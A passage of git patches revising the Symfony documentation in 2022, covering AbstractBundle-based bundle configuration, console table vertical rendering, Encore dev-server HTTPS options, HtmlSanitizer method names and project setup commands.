-            // loads config definition from a file
-            $definition->import('../config/definition.php');
-
-            // loads config definition from multiple files (when it's too long you can split it)
-            $definition->import('../config/definition/*.php');
-
-            // if the configuration is short, consider adding it in this class
-            $definition->rootNode()
-                ->children()
-                    ->scalarNode('foo')->defaultValue('bar')->end()
-                ->end()
-            ;
-        }
-    }
-
-This method is a shortcut of the previous "Extension", "Configuration" and "TreeBuilder" convention,
-now you also have the possibility to import configuration definition from an external file::
-
-    // Acme/FooBundle/config/definition.php
-    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-
-    return static function (DefinitionConfigurator $definition) {
-        $definition->rootNode()
-            ->children()
-                ->scalarNode('foo')->defaultValue('bar')->end()
-            ->end()
-        ;
-    };
-
-.. note::
-
-    The "configure()" method is called only at compile time.
-
 .. _`FrameworkBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
 .. _`TwigBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/TwigBundle/DependencyInjection/Configuration.php
 .. _`XML namespace`: https://en.wikipedia.org/wiki/XML_namespace
diff --git a/bundles/extension.rst b/bundles/extension.rst
index ca88860bbe0..b36bb8fb37e 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -97,7 +97,7 @@ For instance, assume you have a file called ``services.xml`` in the
     {
         $loader = new XmlFileLoader(
             $container,
-            new FileLocator(__DIR__.'/../Resources/config')
+            new FileLocator(__DIR__.'/../config')
         );
         $loader->load('services.xml');
     }
@@ -111,6 +111,57 @@ The Extension is also the class that handles the configuration for that
 particular bundle (e.g. the configuration in ``config/packages/<bundle_alias>.yaml``).
 To read more about it, see the ":doc:`/bundles/configuration`" article.
 
+Loading Services directly in your Bundle class
+----------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+Alternatively, you can define and load services configuration directly in a
+bundle class instead of creating a specific ``Extension`` class. You can do
+this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
+method::
+
+    // ...
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class AcmeHelloBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // load an XML, PHP or Yaml file
+            $container->import('../config/services.xml');
+
+            // you can also add or replace parameters and services
+            $container->parameters()
+                ->set('acme_hello.phrase', $config['phrase'])
+            ;
+
+            if ($config['scream']) {
+                $container->services()
+                    ->get('acme_hello.printer')
+                        ->class(ScreamingPrinter::class)
+                ;
+            }
+        }
+    }
+
+This method works similar to the ``Extension::load()`` method, but it uses
+a new API to define and import service configuration.
+
+.. note::
+
+    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
+    ``$config`` parameter is already merged and processed by the
+    ``AbstractBundle``.
+
+.. note::
+
+    The ``loadExtension()`` is called only at compile time.
+
 Adding Classes to Compile
 -------------------------
 
@@ -147,44 +198,3 @@ the full classmap executing the ``dump-autoload`` command of Composer.
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
     these classes from the ``classes.php`` file.
-
-Loading Services directly in your Bundle class
-----------------------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
-
-Alternatively, you can define and load services configuration directly in a bundle class
-by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
-and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` method::
-
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-
-    class AcmeFooBundle extends AbstractBundle
-    {
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
-        {
-            $container->parameters()
-                ->set('foo', $config['foo']);
-
-            $container->import('../config/services.php');
-
-            if ('bar' === $config['foo']) {
-                $container->services()
-                    ->set(Parser::class);
-            }
-        }
-    }
-
-This method is a shortcut of the previous "load()" method, but with more options
-to define and import the service configuration with less effort. The ``$config``
-argument is the previous ``$configs`` array but already merged and processed. And
-through the ``$container`` configurator you can import the services configuration
-from an external file in any supported format (php, yaml, xml) or simply define
-them in place using the fluent interfaces.
-
-.. note::
-
-    The "loadExtension()", as the "load()" method, are called only at compile time.
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 479e7d22b08..7e9f0195d8c 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -151,25 +151,20 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
             'use_acme_goodbye' => false,
         ]);
 
-More than one Bundle using PrependExtensionInterface
-----------------------------------------------------
-
-If there is more than one bundle that prepends the same extension and defines
-the same key, the bundle that is registered **first** will take priority:
-next bundles won't override this specific config setting.
-
-Prepending Extension directly in your Bundle class
---------------------------------------------------
+Prepending Extension in the Bundle Class
+----------------------------------------
 
 .. versionadded:: 6.1
 
     The ``AbstractBundle`` class is introduced in Symfony 6.1.
 
-By preference, you can append or prepend extension configuration directly in your Bundle
-class for any bundle by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
-and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension` method::
+You can also append or prepend extension configuration directly in your
+Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
+method::
 
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
     class FooBundle extends AbstractBundle
@@ -191,10 +186,13 @@ and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle
         }
     }
 
-This method is a shortcut of the previous "PrependExtensionInterface::prepend" method,
-allowing you also to import and append extension config from an external file in one of
-the supported formats (php, yaml, xml).
-
 .. note::
 
-    The "prependExtension()" like "prepend()" method is called only at compile time.
+    The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
+
+More than one Bundle using PrependExtensionInterface
+----------------------------------------------------
+
+If there is more than one bundle that prepends the same extension and defines
+the same key, the bundle that is registered **first** will take priority:
+next bundles won't override this specific config setting.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index edb1f7426df..9cd2084858a 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -99,8 +99,8 @@ that define your bundles, your services and your routes:
     ``RoutingConfigurator`` has methods that make adding routes in PHP more
     fun. You can also load external routing files (shown below).
 
-Advanced Example: Configuration, Twig, Annotations and the Web Debug Toolbar
-----------------------------------------------------------------------------
+Advanced Example: Twig, Annotations and the Web Debug Toolbar
+-------------------------------------------------------------
 
 The purpose of the ``MicroKernelTrait`` is *not* to have a single-file application.
 Instead, its goal to give you the power to choose your bundles and structure.

From c85de085ed3021cf4cbf3786a3799b323e85406d Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 22 May 2022 12:22:19 -0400
Subject: [PATCH 1912/5766] Revert attribute route

---
 configuration/micro_kernel_trait.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 9cd2084858a..44b4c51b5d5 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -297,7 +297,9 @@ has one file in it::
 
     class MicroController extends AbstractController
     {
-        #[Route('/random/{limit}')]
+        /**
+         * @Route("/random/{limit}")
+         */
         public function randomNumber(int $limit): Response
         {
             $number = random_int(0, $limit);

From c426dbbcd160d4ba9d4276fca87b94759614b2d4 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 22 May 2022 12:25:51 -0400
Subject: [PATCH 1913/5766] Fix extension/config paths

---
 bundles/extension.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index b36bb8fb37e..d05bf79a911 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -30,7 +30,7 @@ follow these conventions (but later you'll learn how to skip them if needed):
 
 This is how the extension of an AcmeHelloBundle should look like::
 
-    // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
+    // src/DependencyInjection/AcmeHelloExtension.php
     namespace Acme\HelloBundle\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -87,7 +87,7 @@ but it is more common if you put these definitions in a configuration file
 (using the YAML, XML or PHP format).
 
 For instance, assume you have a file called ``services.xml`` in the
-``Resources/config/`` directory of your bundle, your ``load()`` method looks like::
+``config/`` directory of your bundle, your ``load()`` method looks like::
 
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
@@ -97,7 +97,7 @@ For instance, assume you have a file called ``services.xml`` in the
     {
         $loader = new XmlFileLoader(
             $container,
-            new FileLocator(__DIR__.'/../config')
+            new FileLocator(__DIR__.'/../../config')
         );
         $loader->load('services.xml');
     }

From 7a24f08c9cab693b513e655e50ecbe85ac3ede46 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 22 May 2022 12:26:51 -0400
Subject: [PATCH 1914/5766] typo

---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 374171bd07f..2f3d7268b19 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -367,7 +367,7 @@ add this logic to the bundle class directly::
 .. tip::
 
     The ``AbstractBundle::configure()`` method also allows to import the
-    configuration definitino from one or more files::
+    configuration definition from one or more files::
 
         // src/AcmeSocialBundle.php
 

From b3a26c3b4ac0d19398310c22ee69bb4417cf0234 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 16:15:41 +0200
Subject: [PATCH 1915/5766] Minor tweaks

---
 reference/constraints/ExpressionLanguageSyntax.rst | 4 ++--
 reference/constraints/ExpressionSyntax.rst         | 7 ++++---
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index fda9360b8ae..24d627ae16d 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -3,8 +3,8 @@ ExpressionLanguageSyntax
 
 .. deprecated:: 6.1
 
-    This constraint is deprecated since Symfony 6.1.
-    Use the``ExpressionSyntax`` constraint instead.
+    This constraint is deprecated since Symfony 6.1. Instead, use the
+    :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>` constraint.
 
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 9e97c3ffa38..3d0ef55f018 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -4,10 +4,11 @@ ExpressionSyntax
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
-.. info:: 6.1
+.. versionadded:: 6.1
 
-    This constraint is deprecated since Symfony 6.1.
-    Use the``ExpressionSyntax`` constraint instead.
+    This constraint was introduced in Symfony 6.1 and deprecates the previous
+    :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
+    constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From e9bd9c4c2f1bb562d68704158e95f33de7f098db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 17:14:00 +0200
Subject: [PATCH 1916/5766] Minor tweak

---
 messenger.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 82c08d294d5..9a720af5d3c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -830,8 +830,9 @@ this is configurable for each transport:
 
 .. note::
 
-    Thanks to :class:`Symfony\\Component\\Messenger\\Stamp\\SerializedMessageStamp` the serialized form of the message
-    is saved, which prevents to serialize it again if the message is retried.
+    Thanks to :class:`Symfony\\Component\\Messenger\\Stamp\\SerializedMessageStamp`,
+    the serialized form of the message is saved, which prevents to serialize it
+    again if the message is later retried.
 
     .. versionadded:: 6.1
 

From 865bf6b81cacfab138ab3ddc34d6772cb667cbd5 Mon Sep 17 00:00:00 2001
From: Yoann Renard <renard.yoann@gmail.com>
Date: Sat, 21 May 2022 17:58:15 +0200
Subject: [PATCH 1917/5766] [Console] Table vertical rendering usage

---
 components/console/helpers/table.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 533e5466f56..a54fdf27bd0 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -150,6 +150,31 @@ The output of this command will be:
     |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
+Console tables content is displayed horizontally by default.
+You can change this behavior via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
+
+    // ...
+    $table->setVertical();
+    $table->render();
+
+The output of this command will be:
+
+.. code-block:: terminal
+
+    +------------------------------+
+    |   ISBN: 99921-58-10-7        |
+    |  Title: Divine Comedy        |
+    | Author: Dante Alighieri      |
+    |------------------------------|
+    |   ISBN: 9971-5-0210-0        |
+    |  Title: A Tale of Two Cities |
+    | Author: Charles Dickens      |
+    +------------------------------+
+
+.. versionadded:: 6.1
+
+    Support for vertical rendering was introduced in Symfony 6.1.
+
 The table style can be changed to any built-in styles via
 :method:`Symfony\\Component\\Console\\Helper\\Table::setStyle`::
 

From 0a59623734f39540f808876048cadb1f1cf2835a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 17:34:59 +0200
Subject: [PATCH 1918/5766] Tweak

---
 components/console/helpers/table.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index a54fdf27bd0..a3294a69e31 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -150,8 +150,8 @@ The output of this command will be:
     |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
-Console tables content is displayed horizontally by default.
-You can change this behavior via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
+By default, table contents are displayed horizontally. You can change this behavior
+via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
 
     // ...
     $table->setVertical();

From e996acef2010159b26e6e0bdd8d075a75dfed000 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 May 2022 17:46:45 +0200
Subject: [PATCH 1919/5766] Minor reword

---
 service_container/lazy_services.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index a70b3358a84..7c9ff74637b 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -27,7 +27,8 @@ until you interact with the proxy in some way.
 
     Lazy services do not support `final`_ classes.
 
-    Lazy services do not support default parameters for php internals, like ``PDO`` in releases prior to PHP 8.0.
+    In PHP versions prior to 8.0 lazy services do not support parameters with
+    default values for built-in PHP classes (e.g. ``PDO``).
 
 Installation
 ------------

From e1b7cc21a3eefa38c761e796d2488d2f41be2708 Mon Sep 17 00:00:00 2001
From: guesmiii <med.guesmi1992@gmail.com>
Date: Mon, 23 May 2022 21:38:10 +0200
Subject: [PATCH 1920/5766] Clarify VALUE_IS_ARRAY usage

VALUE_IS_ARRAY can't be used alone and must be combined with VALUE_REQUIRED or VALUE_OPTIONAL else
we will get InvalidArgumentException('Impossible to have an option mode VALUE_IS_ARRAY if the option does not accept a value.')
---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index b7534d21abd..99c02f17607 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -217,7 +217,7 @@ There are four option variants you can use:
     This option may or may not have a value (e.g. ``--yell`` or
     ``--yell=loud``).
 
-You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
+You need to combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 
     $this

From 5c77c0b2739dee9b367c8c262db3781a362a2c01 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Tue, 24 May 2022 12:20:19 +0200
Subject: [PATCH 1921/5766] Fix example code block for lock component

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 76e4badb587..a24e7b9b199 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -106,7 +106,7 @@ can be created, pass ``true`` as the argument of the ``acquire()`` method. This
 is called a **blocking lock** because the execution of your application stops
 until the lock is acquired.
 
-Some of the built-in ``Store`` classes support this feature.
+Some of the built-in ``Store`` classes support this feature::
 
     use Symfony\Component\Lock\LockFactory;
     use Symfony\Component\Lock\Store\RedisStore;

From 75971005b4b4853e63fb5e288a8311a26cfb2e6e Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Mon, 23 May 2022 15:40:19 +0200
Subject: [PATCH 1922/5766] [Form][Security] Configure field_name under
 framework.form

---
 reference/configuration/framework.rst | 19 ++++++++++++++-----
 1 file changed, 14 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 9351742f3f2..d15bac0ba03 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -335,6 +335,15 @@ settings is configured.
 
     For more details, see :doc:`/forms`.
 
+.. _reference-form-field-name:
+
+field_name
+..........
+
+**type**: ``string`` **default**: ``_token``
+
+This is the field name that you should give to the CSRF token field of your forms.
+
 .. _reference-framework-csrf-protection:
 
 csrf_protection
@@ -357,14 +366,14 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 .. configuration-block::
 
     .. code-block:: yaml
-    
+
         # config/packages/framework.yaml
         framework:
             # ...
             csrf_protection: true
-            
+
     .. code-block:: xml
-    
+
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
@@ -378,9 +387,9 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
                 <framework:csrf-protection enabled="true"/>
             </framework:config>
         </container>
-        
+
     .. code-block:: php
-    
+
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {

From 57fc9bda3b50e20c8603d8f3557eccd1b29b2fa2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 May 2022 15:21:47 +0200
Subject: [PATCH 1923/5766] Minor tweaks

---
 bundles/configuration.rst            | 2 +-
 bundles/extension.rst                | 4 ++--
 bundles/prepend_extension.rst        | 6 +++---
 configuration/micro_kernel_trait.rst | 2 +-
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 2f3d7268b19..ad9f53e8ac6 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -320,7 +320,7 @@ Using the Bundle Class
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
 Instead of creating an extension and configuration class, you can also
 extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
diff --git a/bundles/extension.rst b/bundles/extension.rst
index d05bf79a911..614a7852921 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -116,7 +116,7 @@ Loading Services directly in your Bundle class
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
 Alternatively, you can define and load services configuration directly in a
 bundle class instead of creating a specific ``Extension`` class. You can do
@@ -125,8 +125,8 @@ and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle
 method::
 
     // ...
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
     class AcmeHelloBundle extends AbstractBundle
     {
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 7e9f0195d8c..827b5534837 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -156,16 +156,16 @@ Prepending Extension in the Bundle Class
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
 You can also append or prepend extension configuration directly in your
 Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
 method::
 
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
     class FooBundle extends AbstractBundle
     {
@@ -179,7 +179,7 @@ method::
             // append
             $container->extension('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
-            ])
+            ]);
 
             // append from file
             $container->import('../config/packages/cache.php');
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 44b4c51b5d5..d1ed9d05269 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -243,7 +243,7 @@ add a service conditionally based on the ``foo`` value::
 
 .. versionadded:: 6.1
 
-    The ``AbstractExtension`` class is introduced in Symfony 6.1.
+    The ``AbstractExtension`` class was introduced in Symfony 6.1.
 
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:

From 24d6af359527b8552ec9acd2076c89e90ced6a4c Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 31 May 2022 10:58:55 +0430
Subject: [PATCH 1924/5766] Update setup.rst

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 2c5e16fed95..9d52656900c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=next --webapp
+    $ symfony new my_project_directory --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version=next
+    $ symfony new my_project_directory
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"^6.1" my_project_directory
+    $ composer create-project symfony/skeleton my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^6.1" my_project_directory
+    $ composer create-project symfony/skeleton my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=5.4
+    $ symfony new my_project_directory --version=6.0
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^5.4" my_project_directory
+    $ composer create-project symfony/skeleton:"^6.0" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From 0029c274624e063779d0fce2b196a26f1c26747a Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 31 May 2022 13:31:49 -0400
Subject: [PATCH 1925/5766] [Encore] Changing dev-server to use the new server
 option

---
 frontend/encore/dev-server.rst | 32 +++++++++++---------------------
 1 file changed, 11 insertions(+), 21 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index f0974197f1b..c017a35fcc2 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -25,12 +25,6 @@ you're done: the paths in your templates will automatically point to the dev ser
 dev-server Options
 ------------------
 
-.. caution::
-
-    Encore uses ``webpack-dev-server`` version 4, which at the time of Encore's
-    1.0 release was still in beta and was not documented. See the `4.0 CHANGELOG`_
-    for changes.
-
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
@@ -54,16 +48,16 @@ method in your ``webpack.config.js`` file:
         // ...
 
         .configureDevServerOptions(options => {
-            options.https = {
-                key: '/path/to/server.key',
-                cert: '/path/to/server.crt',
+            options.server = {
+                type: 'https',
+                options: {
+                    key: '/path/to/server.key',
+                    cert: '/path/to/server.crt',
+                }
             }
         })
     ;
 
-.. versionadded:: 0.28.4
-
-    The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4.
 
 Enabling HTTPS using the Symfony Web Server
 -------------------------------------------
@@ -82,18 +76,14 @@ server SSL certificate:
           // ...
 
     +     .configureDevServerOptions(options => {
-    +         options.https = {
-    +             pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +         options.server = {
+    +             type: 'https',
+    +             options: {
+    +                 pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +             }
     +         }
     +     })
 
-
-.. caution::
-
-    Make sure to **not** pass the ``--https`` flag at the command line when
-    running ``encore dev-server``. This flag was required before 1.0, but now
-    will cause your config to be overridden.
-
 CORS Issues
 -----------
 

From c78c78f183d64806abb541c184a3dcd5617436d8 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Wed, 1 Jun 2022 08:15:49 +0300
Subject: [PATCH 1926/5766] [HtmlSanitizer] Fix wrong method name

---
 html_sanitizer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index ab7ba7bc875..55d80d65d90 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -242,7 +242,7 @@ Safe elements
                     app.post_sanitizer:
                         # enable either of these
                         allow_safe_elements: true
-                        allow_all_static_elements: true
+                        allow_static_elements: true
 
     .. code-block:: xml
 
@@ -257,12 +257,12 @@ Safe elements
 
             <framework:config>
                 <framework:html-sanitizer>
-                    <!-- allow-safe-elements/allow-all-static-elements:
+                    <!-- allow-safe-elements/allow-static-elements:
                          enable either of these -->
                     <framework:sanitizer
                         name="app.post_sanitizer"
                         allow-safe-elements="true"
-                        allow-all-static-elements="true"
+                        allow-static-elements="true"
                     />
                 </framework:html-sanitizer>
             </framework:config>
@@ -278,7 +278,7 @@ Safe elements
                 ->sanitizer('app.post_sanitizer')
                     // enable either of these
                     ->allowSafeElements(true)
-                    ->allowAllStaticElements(true)
+                    ->allowStaticElements(true)
             ;
         };
 
@@ -291,7 +291,7 @@ Safe elements
             (new HtmlSanitizerConfig())
                 // enable either of these
                 ->allowSafeElements()
-                ->allowAllStaticElements()
+                ->allowStaticElements()
         );
 
 Allow Elements
@@ -332,7 +332,7 @@ attributes from the `W3C Standard Proposal`_ are allowed.
 
             <framework:config>
                 <framework:html-sanitizer>
-                    <!-- allow-safe-elements/allow-all-static-elements:
+                    <!-- allow-safe-elements/allow-static-elements:
                          enable either of these -->
                     <framework:sanitizer name="app.post_sanitizer">
                         <!-- allow the <article> element and 2 attributes -->

From fbbaf7b8e11607b65dab62b3d322ae786461d18c Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 31 May 2022 11:03:23 +0430
Subject: [PATCH 1927/5766] Update setup.rst ( version 6.0 )

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 3a13dd5f04c..be41fa9aeff 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --webapp
+    $ symfony new my_project_directory --version=6.0.* --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory
+    $ symfony new my_project_directory --version=6.0.*
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton my_project_directory
